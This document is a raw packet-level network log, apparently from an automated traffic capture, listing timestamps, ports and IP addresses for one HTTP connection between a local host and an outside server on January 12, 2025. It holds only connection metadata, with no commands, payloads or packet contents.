Jan 12, 2025 17:39:15.130753994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.130759954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.130759954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.130785942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.130801916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.130820036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.130848885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.130851984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.130882025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.130886078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.130919933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.130929947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.130929947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.130953074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.130990982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.130990982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131000996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131035089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131045103 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131071091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131104946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131108999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131108999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131139040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131175041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131179094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131179094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131205082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131237984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131244898 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131244898 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131272078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131304026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131310940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131310940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131350994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131354094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131387949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131422997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131426096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131426096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131455898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131489038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131494999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131494999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131521940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131535053 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131556988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131588936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131603956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131603956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131623030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131648064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131663084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131676912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.131685019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131685019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.131720066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.134413004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134438038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134450912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134469032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134481907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134495020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134502888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.134509087 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134521961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134529114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.134536982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134552002 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.134593010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.134593010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.134597063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134610891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134620905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134634018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134643078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.134645939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134669065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.134669065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.134710073 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.134773970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134802103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134821892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134834051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134855986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.134876013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134879112 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.134888887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134901047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134917021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.134919882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134932995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134953022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134963036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134974957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.134975910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.134975910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.134996891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135029078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135040998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135046005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135061026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135063887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135072947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135086060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135096073 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135096073 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135097980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135113955 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135116100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135128975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135132074 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135165930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135176897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135178089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135193110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135202885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135222912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135232925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135232925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135234118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135246992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135258913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135271072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135272026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135289907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135291100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135304928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135325909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135330915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135339022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135351896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135354996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135385990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135385990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135415077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135428905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135440111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135449886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135461092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135471106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135474920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135488033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135500908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135505915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135505915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135514021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135529041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.135529995 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135577917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.135579109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.162561893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162585020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162597895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162617922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162631035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162642002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162662029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162673950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162684917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162691116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.162691116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.162698030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162713051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162724018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162729979 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.162729979 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.162734985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162750006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162767887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.162795067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162812948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162825108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162834883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162844896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.162844896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.162854910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162868023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162870884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.162883043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162902117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162910938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.162915945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162926912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.162928104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162940979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162961960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162978888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.162978888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.162982941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.162995100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163007021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163009882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163017035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163038969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163048029 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163048029 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163052082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163063049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163077116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163081884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163091898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163105011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163116932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163129091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163131952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163131952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163142920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163155079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163155079 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163167953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163181067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163182974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163203955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163214922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163214922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163228989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163232088 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163240910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163254023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163265944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163274050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163274050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163280010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163292885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163305044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163330078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163337946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163337946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163352013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163353920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163363934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163376093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163384914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163388968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163400888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163413048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163417101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163417101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163425922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163438082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163450003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163461924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163465023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163465023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163475037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.163496017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163533926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.163533926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.220524073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.220586061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.220614910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.220666885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.220671892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.220694065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.220716000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.220751047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.220766068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.220772982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.220799923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.220834017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.220846891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.220846891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.220899105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.220913887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.220932007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.220958948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.220978022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.220983982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221038103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221050024 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221107006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221153975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221153975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221158981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221191883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221234083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221234083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221242905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221276999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221311092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221319914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221319914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221352100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221359015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221412897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221445084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221456051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221456051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221494913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221527100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221556902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221556902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221564054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221575022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221596956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221636057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221636057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221646070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221678019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221708059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221712112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221745014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221756935 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221772909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221780062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221786022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221831083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221837044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221884966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221916914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221935034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221939087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.221949100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221982002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.221993923 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.222001076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.222033978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.222040892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.222063065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.222075939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.222085953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.222110033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.222121000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.222143888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.222163916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.222178936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.222212076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.222218990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.222218990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.222299099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.222332001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.222353935 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.222353935 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.222364902 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.222397089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.222398043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.222430944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.222440958 CET	49975	80	192.168.2.7	31.41.244.11
